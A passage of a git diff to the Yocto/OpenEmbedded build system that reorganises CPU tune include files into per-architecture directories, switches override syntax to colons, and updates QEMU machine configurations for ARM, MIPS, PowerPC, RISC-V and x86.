-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'strongarm', ' -mcpu=strongarm1100', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'strongarm', 'armv4:', '', d)}"
-
-AVAILTUNES += "strongarm"
-ARMPKGARCH_tune-strongarm = "strongarm"
-TUNE_FEATURES_tune-strongarm = "arm strongarm"
-PACKAGE_EXTRA_ARCHS_tune-strongarm = "${PACKAGE_EXTRA_ARCHS_tune-armv4} strongarm"
diff --git a/meta/conf/machine/include/tune-thunderx.inc b/meta/conf/machine/include/tune-thunderx.inc
deleted file mode 100644
index d1aaf4891e..0000000000
--- a/meta/conf/machine/include/tune-thunderx.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-DEFAULTTUNE ?= "thunderx"
-AVAILTUNES += "thunderx thunderx_be"
-
-TUNEVALID[thunderx] = "Enable instructions for Cavium ThunderX"
-
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'thunderx', ' -mcpu=thunderx', '',d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-ARMPKGARCH_tune-thunderx ?= "thunderx"
-ARMPKGARCH_tune-thunderx_be ?= "thunderx"
-
-TUNE_FEATURES_tune-thunderx = "${TUNE_FEATURES_tune-aarch64} thunderx"
-TUNE_FEATURES_tune-thunderx_be = "${TUNE_FEATURES_tune-thunderx} bigendian"
-BASE_LIB_tune-thunderx = "lib64"
-BASE_LIB_tune-thunderx_be = "lib64"
-
-PACKAGE_EXTRA_ARCHS_tune-thunderx = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} thunderx"
-PACKAGE_EXTRA_ARCHS_tune-thunderx_be = "aarch64_be thunderx_be"
diff --git a/meta/conf/machine/include/tune-xscale.inc b/meta/conf/machine/include/tune-xscale.inc
deleted file mode 100644
index aeac365284..0000000000
--- a/meta/conf/machine/include/tune-xscale.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-DEFAULTTUNE ?= "armv5te"
-
-require conf/machine/include/arm/arch-armv5-dsp.inc
-
-TUNEVALID[xscale] = "Enable PXA255/PXA26x Xscale specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'xscale', ' -mcpu=xscale', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'xscale', 'armv5:', '', d)}"
-
-AVAILTUNES += "xscale"
-ARMPKGARCH_tune-xscale = "xscale"
-# mcpu is used so don't use armv5te as we don't want march
-TUNE_FEATURES_tune-xscale = "arm thumb dsp xscale"
-PACKAGE_EXTRA_ARCHS_tune-xscale = "${PACKAGE_EXTRA_ARCHS_tune-armv5te} xscale xscalet xscalee xscalete"
-
-AVAILTUNES += "xscale-be"
-ARMPKGARCH_tune-xscale-be = "xscale"
-# mcpu is used so don't use armv5te as we don't want march
-TUNE_FEATURES_tune-xscale-be = "${TUNE_FEATURES_tune-xscale} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-xscale-be = "${PACKAGE_EXTRA_ARCHS_tune-armv5teb} xscaleb xscaletb xscaleeb xscaleteb"
diff --git a/meta/conf/machine/include/x86/README b/meta/conf/machine/include/x86/README
index 2b6c46c7eb..05aee533a7 100644
--- a/meta/conf/machine/include/x86/README
+++ b/meta/conf/machine/include/x86/README
@@ -14,7 +14,7 @@ X86ARCH64 - This is the 64-bit architecture GNU canonical arch, TUNE_ARCH.
The TUNE_PKGARCH is defined as follows:
-TUNE_PKGARCH = ${TUNE_PKGARCH_tune-${DEFAULTTUNE}}
+TUNE_PKGARCH = ${TUNE_PKGARCH:tune-${DEFAULTTUNE}}
The package architecture for 32-bit targets is historical and generally
set to to match the core compatible processor type, i.e. i386.
diff --git a/meta/conf/machine/include/x86/arch-x86.inc b/meta/conf/machine/include/x86/arch-x86.inc
index 2edb360b7d..28742e794d 100644
--- a/meta/conf/machine/include/x86/arch-x86.inc
+++ b/meta/conf/machine/include/x86/arch-x86.inc
@@ -7,7 +7,7 @@ TARGET_FPU ?= ""
X86ARCH32 ?= "i586"
X86ARCH64 ?= "x86_64"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
# ELF32 ABI
TUNEVALID[m32] = "IA32 ELF32 standard ABI"
@@ -25,7 +25,7 @@ TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mx32', ' -mx32', '', d)}"
TUNE_LDARGS += "${@bb.utils.contains('TUNE_FEATURES', 'mx32', '-m elf32_x86_64', '', d)}"
TUNE_ASARGS += "${@bb.utils.contains('TUNE_FEATURES', 'mx32', '-x32', '', d)}"
# user mode qemu doesn't support x32
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = " ${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'qemu-usermode', '', d)}"
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = " ${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'qemu-usermode', '', d)}"
MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'x86-x32:', '', d)}"
# ELF64 ABI
@@ -36,19 +36,19 @@ TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'm64', ' -m64', '', d)}"
# Default Tune configurations
AVAILTUNES += "x86"
-TUNE_FEATURES_tune-x86 = "m32"
-BASE_LIB_tune-x86 = "lib"
-TUNE_PKGARCH_tune-x86 = "x86"
-PACKAGE_EXTRA_ARCHS_tune-x86 = "${TUNE_PKGARCH_tune-x86}"
+TUNE_FEATURES:tune-x86 = "m32"
+BASE_LIB:tune-x86 = "lib"
+TUNE_PKGARCH:tune-x86 = "x86"
+PACKAGE_EXTRA_ARCHS:tune-x86 = "${TUNE_PKGARCH:tune-x86}"
AVAILTUNES += "x86-64"
-TUNE_FEATURES_tune-x86-64 = "m64"
-BASE_LIB_tune-x86-64 = "lib64"
-TUNE_PKGARCH_tune-x86-64 = "x86_64"
-PACKAGE_EXTRA_ARCHS_tune-x86-64 = "${TUNE_PKGARCH_tune-x86-64}"
+TUNE_FEATURES:tune-x86-64 = "m64"
+BASE_LIB:tune-x86-64 = "lib64"
+TUNE_PKGARCH:tune-x86-64 = "x86_64"
+PACKAGE_EXTRA_ARCHS:tune-x86-64 = "${TUNE_PKGARCH:tune-x86-64}"
AVAILTUNES += "x86-64-x32"
-TUNE_FEATURES_tune-x86-64-x32 = "mx32"
-BASE_LIB_tune-x86-64-x32 = "libx32"
-TUNE_PKGARCH_tune-x86-64-x32 = "x86_64_x32"
-PACKAGE_EXTRA_ARCHS_tune-x86-64-x32 = "${TUNE_PKGARCH_tune-x86-64-x32}"
+TUNE_FEATURES:tune-x86-64-x32 = "mx32"
+BASE_LIB:tune-x86-64-x32 = "libx32"
+TUNE_PKGARCH:tune-x86-64-x32 = "x86_64_x32"
+PACKAGE_EXTRA_ARCHS:tune-x86-64-x32 = "${TUNE_PKGARCH:tune-x86-64-x32}"
diff --git a/meta/conf/machine/include/x86/qemuboot-x86.inc b/meta/conf/machine/include/x86/qemuboot-x86.inc
new file mode 100644
index 0000000000..d3b91070a8
--- /dev/null
+++ b/meta/conf/machine/include/x86/qemuboot-x86.inc
@@ -0,0 +1,14 @@
+# For runqemu
+IMAGE_CLASSES += "qemuboot"
+QB_SMP = "-smp 4"
+QB_CPU:x86 = "-cpu IvyBridge -machine q35"
+QB_CPU_KVM:x86 = "-cpu IvyBridge -machine q35"
+
+QB_CPU:x86-64 = "-cpu IvyBridge -machine q35"
+QB_CPU_KVM:x86-64 = "-cpu IvyBridge -machine q35"
+
+QB_AUDIO_DRV = "alsa"
+QB_AUDIO_OPT = "-soundhw ac97,es1370"
+QB_KERNEL_CMDLINE_APPEND = "oprofile.timer=1 tsc=reliable no_timer_check rcupdate.rcu_expedited=1"
+QB_OPT_APPEND = "-usb -device usb-tablet"
+
diff --git a/meta/conf/machine/include/x86/tune-atom.inc b/meta/conf/machine/include/x86/tune-atom.inc
new file mode 100644
index 0000000000..6b84fffc3f
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-atom.inc
@@ -0,0 +1,2 @@
+# Atom tunings are the same as core2 for now...
+require conf/machine/include/x86/tune-core2.inc
diff --git a/meta/conf/machine/include/x86/tune-c3.inc b/meta/conf/machine/include/x86/tune-c3.inc
new file mode 100644
index 0000000000..afae82541d
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-c3.inc
@@ -0,0 +1,12 @@
+require conf/machine/include/x86/arch-x86.inc
+
+TUNEVALID[c3] = "VIA Cyrix III or VIA C3 specific optimizations"
+TUNECONFLICTS[c3] = "m64 mx32"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'c3', ' -march=c3 -mtune=c3', '', d)}"
+
+AVAILTUNES += "c3"
+TUNE_FEATURES:tune-c3 = "${TUNE_FEATURES:tune-x86} c3"
+BASE_LIBS:tune-c3 = "${BASE_LIB:tune-x86}"
+# The following should likely be something other then i586...
+TUNE_PKGARCH:tune-c3 = "i586"
+PACKAGE_EXTRA_ARCHS:tune-c3 = "${PACKAGE_EXTRA_ARCHS:tune-x86} i386 i486 i586"
diff --git a/meta/conf/machine/include/x86/tune-core2.inc b/meta/conf/machine/include/x86/tune-core2.inc
new file mode 100644
index 0000000000..97b7c1b188
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-core2.inc
@@ -0,0 +1,38 @@
+# Settings for the GCC(1) cpu-type "core2":
+#
+# Intel Core2 CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3 and SSSE3
+# instruction set support.
+#
+# This tune is recommended for the Intel Core 2 CPU family, including Conroe,
+# Merom and beyond, as well as the first Atom CPUs, Diamondville, and beyond.
+#
+DEFAULTTUNE ?= "core2-32"
+
+# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
+require conf/machine/include/x86/tune-i686.inc
+
+# Extra tune features
+TUNEVALID[core2] = "Enable core2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'core2', ' -march=core2 -mtune=core2 -msse3 -mfpmath=sse', '', d)}"
+
+# Extra tune selections
+AVAILTUNES += "core2-32"
+TUNE_FEATURES:tune-core2-32 = "${TUNE_FEATURES:tune-x86} core2"
+BASE_LIB:tune-core2-32 = "lib"
+TUNE_PKGARCH:tune-core2-32 = "core2-32"
+PACKAGE_EXTRA_ARCHS:tune-core2-32 = "${PACKAGE_EXTRA_ARCHS:tune-i686} core2-32"
+QEMU_EXTRAOPTIONS_core2-32 = " -cpu n270"
+
+AVAILTUNES += "core2-64"
+TUNE_FEATURES:tune-core2-64 = "${TUNE_FEATURES:tune-x86-64} core2"
+BASE_LIB:tune-core2-64 = "lib64"
+TUNE_PKGARCH:tune-core2-64 = "core2-64"
+PACKAGE_EXTRA_ARCHS:tune-core2-64 = "${PACKAGE_EXTRA_ARCHS:tune-x86-64} core2-64"
+QEMU_EXTRAOPTIONS_core2-64 = " -cpu core2duo"
+
+AVAILTUNES += "core2-64-x32"
+TUNE_FEATURES:tune-core2-64-x32 = "${TUNE_FEATURES:tune-x86-64-x32} core2"
+BASE_LIB:tune-core2-64-x32 = "libx32"
+TUNE_PKGARCH:tune-core2-64-x32 = "core2-64-x32"
+PACKAGE_EXTRA_ARCHS:tune-core2-64-x32 = "${PACKAGE_EXTRA_ARCHS:tune-x86-64-x32} core2-64-x32"
+QEMU_EXTRAOPTIONS_core2-64-x32 = " -cpu core2duo"
diff --git a/meta/conf/machine/include/x86/tune-corei7.inc b/meta/conf/machine/include/x86/tune-corei7.inc
new file mode 100644
index 0000000000..7798288a74
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-corei7.inc
@@ -0,0 +1,38 @@
+# Settings for the GCC(1) cpu-type "nehalem":
+#
+# Intel Nehalem CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1,
+# SSE4.2 and POPCNT instruction set support.
+#
+# This tune is recommended for Intel Nehalem and Silvermont (e.g. Bay Trail) CPUs
+# (and beyond).
+#
+DEFAULTTUNE ?= "corei7-64"
+
+# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
+require conf/machine/include/x86/tune-core2.inc
+
+# Extra tune features
+TUNEVALID[corei7] = "Enable corei7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'corei7', ' -march=nehalem -mtune=generic -mfpmath=sse -msse4.2', '', d)}"
+
+# Extra tune selections
+AVAILTUNES += "corei7-32"
+TUNE_FEATURES:tune-corei7-32 = "${TUNE_FEATURES:tune-x86} corei7"
+BASE_LIB:tune-corei7-32 = "lib"
+TUNE_PKGARCH:tune-corei7-32 = "corei7-32"
+PACKAGE_EXTRA_ARCHS:tune-corei7-32 = "${PACKAGE_EXTRA_ARCHS:tune-core2-32} corei7-32"
+QEMU_EXTRAOPTIONS_corei7-32 = " -cpu Nehalem,check=false"
+
+AVAILTUNES += "corei7-64"
+TUNE_FEATURES:tune-corei7-64 = "${TUNE_FEATURES:tune-x86-64} corei7"
+BASE_LIB:tune-corei7-64 = "lib64"
+TUNE_PKGARCH:tune-corei7-64 = "corei7-64"
+PACKAGE_EXTRA_ARCHS:tune-corei7-64 = "${PACKAGE_EXTRA_ARCHS:tune-core2-64} corei7-64"
+QEMU_EXTRAOPTIONS_corei7-64 = " -cpu Nehalem,check=false"
+
+AVAILTUNES += "corei7-64-x32"
+TUNE_FEATURES:tune-corei7-64-x32 = "${TUNE_FEATURES:tune-x86-64-x32} corei7"
+BASE_LIB:tune-corei7-64-x32 = "libx32"
+TUNE_PKGARCH:tune-corei7-64-x32 = "corei7-64-x32"
+PACKAGE_EXTRA_ARCHS:tune-corei7-64-x32 = "${PACKAGE_EXTRA_ARCHS:tune-core2-64-x32} corei7-64-x32"
+QEMU_EXTRAOPTIONS_corei7-64-x32 = " -cpu Nehalem,check=false"
diff --git a/meta/conf/machine/include/x86/tune-i586-nlp.inc b/meta/conf/machine/include/x86/tune-i586-nlp.inc
new file mode 100644
index 0000000000..ecfbf9f1b2
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-i586-nlp.inc
@@ -0,0 +1,19 @@
+# Settings for the GCC(1) cpu-type "quark":
+#
+#
+#
+DEFAULTTUNE ?= "i586-nlp-32"
+
+# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
+require conf/machine/include/x86/arch-x86.inc
+
+# x86 with no lock prefix
+TUNEVALID[i586-nlp] = "IA32 with Lock Prefix omitted"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i586-nlp', ' -march=i586 -Wa,-momit-lock-prefix=yes', '', d)}"
+
+# Quark tune feature
+AVAILTUNES = "i586-nlp-32"
+TUNE_FEATURES:tune-i586-nlp-32 = "${TUNE_FEATURES:tune-x86} i586-nlp"
+BASE_LIB:tune-i586-nlp-32 = "lib"
+TUNE_PKGARCH:tune-i586-nlp-32 = "i586-nlp-32"
+PACKAGE_EXTRA_ARCHS:tune-i586-nlp-32 = "i586-nlp-32"
diff --git a/meta/conf/machine/include/x86/tune-i586.inc b/meta/conf/machine/include/x86/tune-i586.inc
new file mode 100644
index 0000000000..b1299e9e91
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-i586.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "i586"
+
+require conf/machine/include/x86/arch-x86.inc
+
+# Extra tune features
+TUNEVALID[i586] = "Enable i586 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i586', ' -march=i586', '', d)}"
+
+# Extra tune selections
+AVAILTUNES += "i586"
+TUNE_FEATURES:tune-i586 = "${TUNE_FEATURES:tune-x86} i586"
+BASE_LIB:tune-i586 = "lib"
+TUNE_PKGARCH:tune-i586 = "i586"
+PACKAGE_EXTRA_ARCHS:tune-i586 = "${PACKAGE_EXTRA_ARCHS:tune-x86} i586"
diff --git a/meta/conf/machine/include/x86/tune-i686.inc b/meta/conf/machine/include/x86/tune-i686.inc
new file mode 100644
index 0000000000..293d81e6c5
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-i686.inc
@@ -0,0 +1,27 @@
+#
+# The i686 CPU family was introduced with the Intel Pentium Pro in 1995.
+# It has as required feature flags: fpu tsc cx8 cmov.
+#
+# It is the minimum CPU required by the Debian i386 port.
+# https://lists.debian.org/debian-devel-announce/2016/05/msg00001.html
+#
+#
+
+DEFAULTTUNE ?= "i686"
+
+# Set x86 target arch to i686, so that glibc enables SSE optimised memcpy, etc.
+X86ARCH32 ?= "i686"
+
+# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
+require conf/machine/include/x86/tune-i586.inc
+
+# Extra tune features
+TUNEVALID[i686] = "Enable i686 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i686', ' -march=i686', '', d)}"
+
+# Extra tune selections
+AVAILTUNES += "i686"
+TUNE_FEATURES:tune-i686 = "${TUNE_FEATURES:tune-x86} i686"
+BASE_LIB:tune-i686 = "lib"
+TUNE_PKGARCH:tune-i686 = "i686"
+PACKAGE_EXTRA_ARCHS:tune-i686 = "${PACKAGE_EXTRA_ARCHS:tune-i586} i686"
diff --git a/meta/conf/machine/include/x86-base.inc b/meta/conf/machine/include/x86/x86-base.inc
index a3169b7405..44e4b4ec46 100644
--- a/meta/conf/machine/include/x86-base.inc
+++ b/meta/conf/machine/include/x86/x86-base.inc
@@ -18,7 +18,7 @@ SERIAL_CONSOLES ?= "115200;ttyS0"
# kernel-related variables
#
PREFERRED_PROVIDER_virtual/kernel ??= "linux-yocto"
-PREFERRED_VERSION_linux-yocto ??= "5.8%"
+PREFERRED_VERSION_linux-yocto ??= "5.14%"
#
# XSERVER subcomponents, used to build the XSERVER variable
diff --git a/meta/conf/machine/qemuarm.conf b/meta/conf/machine/qemuarm.conf
index 702b850cbb..1bd4e3e154 100644
--- a/meta/conf/machine/qemuarm.conf
+++ b/meta/conf/machine/qemuarm.conf
@@ -2,7 +2,7 @@
#@NAME: QEMU Arm Cortex-A15 machine
#@DESCRIPTION: Machine configuration for running an ARMv7 system on QEMU
-require conf/machine/include/tune-cortexa15.inc
+require conf/machine/include/arm/armv7a/tune-cortexa15.inc
require conf/machine/include/qemu.inc
KERNEL_IMAGETYPE = "zImage"
@@ -16,11 +16,12 @@ SERIAL_CONSOLES_CHECK = "${SERIAL_CONSOLES}"
QB_SYSTEM_NAME = "qemu-system-arm"
QB_MACHINE = "-machine virt,highmem=off"
QB_CPU = "-cpu cortex-a15"
+QB_SMP = "-smp 4"
# Standard Serial console
-QB_KERNEL_CMDLINE_APPEND = "console=ttyAMA0"
+QB_KERNEL_CMDLINE_APPEND = "vmalloc=256"
# For graphics to work we need to define the VGA device as well as the necessary USB devices
-QB_OPT_APPEND = "-device VGA,edid=on"
-QB_OPT_APPEND += "-device qemu-xhci -device usb-tablet -device usb-kbd"
+QB_GRAPHICS = "-device virtio-gpu-pci"
+QB_OPT_APPEND = "-device qemu-xhci -device usb-tablet -device usb-kbd"
# Virtio Networking support
QB_TAP_OPT = "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
QB_NETWORK_DEVICE = "-device virtio-net-device,netdev=net0,mac=@MAC@"
@@ -30,4 +31,4 @@ QB_ROOTFS_OPT = "-drive id=disk0,file=@ROOTFS@,if=none,format=raw -device virtio
QB_SERIAL_OPT = "-device virtio-serial-device -chardev null,id=virtcon -device virtconsole,chardev=virtcon"
QB_TCPSERIAL_OPT = "-device virtio-serial-device -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1 -device virtconsole,chardev=virtcon"
-KMACHINE_qemuarm = "qemuarma15"
+KMACHINE:qemuarm = "qemuarma15"
diff --git a/meta/conf/machine/qemuarm64.conf b/meta/conf/machine/qemuarm64.conf
index 2f61eb0aed..f245152168 100644
--- a/meta/conf/machine/qemuarm64.conf
+++ b/meta/conf/machine/qemuarm64.conf
@@ -2,7 +2,7 @@
#@NAME: QEMU ARMv8 machine
#@DESCRIPTION: Machine configuration for running an ARMv8 system on QEMU
-require conf/machine/include/tune-cortexa57.inc
+require conf/machine/include/arm/armv8a/tune-cortexa57.inc
require conf/machine/include/qemu.inc
KERNEL_IMAGETYPE = "Image"
@@ -16,12 +16,11 @@ SERIAL_CONSOLES_CHECK = "${SERIAL_CONSOLES}"
QB_SYSTEM_NAME = "qemu-system-aarch64"
QB_MACHINE = "-machine virt"
QB_CPU = "-cpu cortex-a57"
+QB_SMP = "-smp 4"
QB_CPU_KVM = "-cpu host -machine gic-version=3"
-# Standard Serial console
-QB_KERNEL_CMDLINE_APPEND = "console=ttyAMA0"
# For graphics to work we need to define the VGA device as well as the necessary USB devices
-QB_OPT_APPEND = "-device VGA,edid=on"
-QB_OPT_APPEND += "-device qemu-xhci -device usb-tablet -device usb-kbd"
+QB_GRAPHICS = "-device virtio-gpu-pci"
+QB_OPT_APPEND = "-device qemu-xhci -device usb-tablet -device usb-kbd"
# Virtio Networking support
QB_TAP_OPT = "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
QB_NETWORK_DEVICE = "-device virtio-net-device,netdev=net0,mac=@MAC@"
diff --git a/meta/conf/machine/qemuarmv5.conf b/meta/conf/machine/qemuarmv5.conf
index 7e8c9e1fa6..3c2c4997b9 100644
--- a/meta/conf/machine/qemuarmv5.conf
+++ b/meta/conf/machine/qemuarmv5.conf
@@ -3,7 +3,7 @@
#@DESCRIPTION: Machine configuration for running an ARMv5 system on QEMU
require conf/machine/include/qemu.inc
-require conf/machine/include/tune-arm926ejs.inc
+require conf/machine/include/arm/armv5/tune-arm926ejs.inc
KERNEL_IMAGETYPE = "zImage"
@@ -12,9 +12,10 @@ SERIAL_CONSOLES ?= "115200;ttyAMA0 115200;ttyAMA1"
# For runqemu
QB_SYSTEM_NAME = "qemu-system-arm"
QB_MACHINE = "-machine versatilepb"
-QB_KERNEL_CMDLINE_APPEND = "console=ttyAMA0,115200 console=tty"
-QB_OPT_APPEND = "-usb -device usb-tablet"
-PREFERRED_VERSION_linux-yocto ??= "5.8%"
+QB_KERNEL_CMDLINE_APPEND = "vmalloc=256"
+QB_GRAPHICS = "-device virtio-gpu-pci"
+QB_OPT_APPEND = "-device qemu-xhci -device usb-tablet -device usb-kbd"
+PREFERRED_VERSION_linux-yocto ??= "5.14%"
QB_DTB = "${@oe.utils.version_less_or_equal('PREFERRED_VERSION_linux-yocto', '4.7', '', 'zImage-versatile-pb.dtb', d)}"
-KMACHINE_qemuarmv5 = "qemuarm"
+KMACHINE:qemuarmv5 = "qemuarm"
diff --git a/meta/conf/machine/qemumips.conf b/meta/conf/machine/qemumips.conf
index 1373e4cba0..1cf21b92fe 100644
--- a/meta/conf/machine/qemumips.conf
+++ b/meta/conf/machine/qemumips.conf
@@ -3,13 +3,13 @@
#@DESCRIPTION: Machine configuration for running a MIPS system on QEMU
require conf/machine/include/qemu.inc
-require conf/machine/include/tune-mips32r2.inc
-require conf/machine/include/qemuboot-mips.inc
+require conf/machine/include/mips/tune-mips32r2.inc
+require conf/machine/include/mips/qemuboot-mips.inc
KERNEL_IMAGETYPE = "vmlinux"
KERNEL_ALT_IMAGETYPE = "vmlinux.bin"
-UBOOT_MACHINE ?= "qemu_mips_defconfig"
+UBOOT_MACHINE ?= "malta_defconfig"
SERIAL_CONSOLES ?= "115200;ttyS0 115200;ttyS1"
diff --git a/meta/conf/machine/qemumips64.conf b/meta/conf/machine/qemumips64.conf
index 1e77486491..32351f993e 100644
--- a/meta/conf/machine/qemumips64.conf
+++ b/meta/conf/machine/qemumips64.conf
@@ -3,15 +3,15 @@
#@DESCRIPTION: Machine configuration for running a MIPS64 system on QEMU
require conf/machine/include/qemu.inc
-require conf/machine/include/tune-mips64r2.inc
-require conf/machine/include/qemuboot-mips.inc
+require conf/machine/include/mips/tune-mips64r2.inc
+require conf/machine/include/mips/qemuboot-mips.inc
QB_CPU = "-cpu MIPS64R2-generic"
KERNEL_IMAGETYPE = "vmlinux"
KERNEL_ALT_IMAGETYPE = "vmlinux.bin"
-UBOOT_MACHINE ?= "qemu_mips64_defconfig"
+UBOOT_MACHINE ?= "malta64_defconfig"
SERIAL_CONSOLES ?= "115200;ttyS0 115200;ttyS1"
diff --git a/meta/conf/machine/qemuppc.conf b/meta/conf/machine/qemuppc.conf
index a84594f335..bab06e292e 100644
--- a/meta/conf/machine/qemuppc.conf
+++ b/meta/conf/machine/qemuppc.conf
@@ -3,7 +3,7 @@
#@DESCRIPTION: Machine configuration for running a PPC system on QEMU
require conf/machine/include/qemu.inc
-require conf/machine/include/tune-ppc7400.inc
+require conf/machine/include/powerpc/tune-ppc7400.inc
TARGET_CC_KERNEL_ARCH = "-mno-spe"
diff --git a/meta/conf/machine/qemuppc64.conf b/meta/conf/machine/qemuppc64.conf
new file mode 100644
index 0000000000..2902d541ad
--- /dev/null
+++ b/meta/conf/machine/qemuppc64.conf
@@ -0,0 +1,24 @@
+#@TYPE: Machine
+#@NAME: QEMU PPC64 machine
+#@DESCRIPTION: Machine configuration for running a PPC system on QEMU
+
+require conf/machine/include/qemu.inc
+require conf/machine/include/powerpc/tune-power9.inc
+
+KERNEL_IMAGETYPE = "vmlinux"
+
+SERIAL_CONSOLES ?= "115200;hvc0"
+
+# For runqemu
+QB_SYSTEM_NAME = "qemu-system-ppc64"
+QB_MACHINE = "-machine pseries"
+QB_CPU = "-cpu POWER9"
+QB_KERNEL_CMDLINE_APPEND = "console=hvc0"
+#QB_OPT_APPEND += "-device qemu-xhci -device usb-tablet -device usb-kbd"
+QB_OPT_APPEND = "-usb -device usb-tablet"
+
+#prelink broken on ppc64
+#USER_CLASSES:remove = "image-prelink"
+#IMAGE_PREPROCESS_COMMAND:remove = "prelink_image;"
+
+MACHINE_EXTRA_RRECOMMENDS += " kernel-modules"
diff --git a/meta/conf/machine/qemuriscv32.conf b/meta/conf/machine/qemuriscv32.conf
new file mode 100644
index 0000000000..d3858dc051
--- /dev/null
+++ b/meta/conf/machine/qemuriscv32.conf
@@ -0,0 +1,16 @@
+#@TYPE: Machine
+#@NAME: generic riscv32 machine
+#@DESCRIPTION: Machine configuration for running a generic riscv32
+
+require conf/machine/include/riscv/qemuriscv.inc
+
+DEFAULTTUNE = "riscv32"
+
+PREFERRED_VERSION_openocd-native = "riscv"
+PREFERRED_VERSION_openocd = "riscv"
+
+XVISOR_PLAT = "riscv/virt32"
+
+EXTRA_IMAGEDEPENDS += "u-boot"
+UBOOT_MACHINE = "qemu-riscv32_smode_defconfig"
+UBOOT_ELF = "u-boot"
diff --git a/meta/conf/machine/qemux86-64.conf b/meta/conf/machine/qemux86-64.conf
index db9004ee32..901353499c 100644
--- a/meta/conf/machine/qemux86-64.conf
+++ b/meta/conf/machine/qemux86-64.conf
@@ -6,11 +6,12 @@ PREFERRED_PROVIDER_virtual/xserver ?= "xserver-xorg"
PREFERRED_PROVIDER_virtual/libgl ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles1 ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles2 ?= "mesa"
+PREFERRED_PROVIDER_virtual/libgles3 ?= "mesa"
require conf/machine/include/qemu.inc
DEFAULTTUNE ?= "core2-64"
-require conf/machine/include/tune-core2.inc
-require conf/machine/include/qemuboot-x86.inc
+require conf/machine/include/x86/tune-core2.inc
+require conf/machine/include/x86/qemuboot-x86.inc
UBOOT_MACHINE ?= "qemu-x86_64_defconfig"
diff --git a/meta/conf/machine/qemux86.conf b/meta/conf/machine/qemux86.conf
index 7e6723b880..1e072e1ae2 100644
--- a/meta/conf/machine/qemux86.conf
+++ b/meta/conf/machine/qemux86.conf
@@ -6,11 +6,12 @@ PREFERRED_PROVIDER_virtual/xserver ?= "xserver-xorg"
PREFERRED_PROVIDER_virtual/libgl ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles1 ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles2 ?= "mesa"
+PREFERRED_PROVIDER_virtual/libgles3 ?= "mesa"
require conf/machine/include/qemu.inc
DEFAULTTUNE ?= "core2-32"
-require conf/machine/include/tune-corei7.inc
-require conf/machine/include/qemuboot-x86.inc
+require conf/machine/include/x86/tune-corei7.inc
+require conf/machine/include/x86/qemuboot-x86.inc
UBOOT_MACHINE ?= "qemu-x86_defconfig"
diff --git a/meta/conf/multilib.conf b/meta/conf/multilib.conf
index d231107f8b..7f3b9463ef 100644
--- a/meta/conf/multilib.conf
+++ b/meta/conf/multilib.conf
@@ -1,5 +1,5 @@
-baselib = "${@d.getVar('BASE_LIB_tune-' + (d.getVar('DEFAULTTUNE') or 'INVALID')) or d.getVar('BASELIB')}"
+baselib = "${@d.getVar('BASE_LIB:tune-' + (d.getVar('DEFAULTTUNE') or 'INVALID')) or d.getVar('BASELIB')}"
MULTILIB_VARIANTS = "${@extend_variants(d,'MULTILIBS','multilib')}"
MULTILIB_SAVE_VARNAME = "DEFAULTTUNE TARGET_ARCH TARGET_SYS TARGET_VENDOR"
@@ -9,15 +9,17 @@ MULTILIBS ??= "multilib:lib32"
STAGING_DIR_HOST = "${WORKDIR}/${MLPREFIX}recipe-sysroot"
STAGING_DIR_TARGET = "${WORKDIR}/${MLPREFIX}recipe-sysroot"
RECIPE_SYSROOT = "${WORKDIR}/${MLPREFIX}recipe-sysroot"
-RECIPE_SYSROOT_class-native = "${WORKDIR}/recipe-sysroot"
+RECIPE_SYSROOT:class-native = "${WORKDIR}/recipe-sysroot"
+
+PSEUDO_IGNORE_PATHS .= ",${WORKDIR}/${MLPREFIX}recipe-sysroot"
INHERIT += "multilib_global"
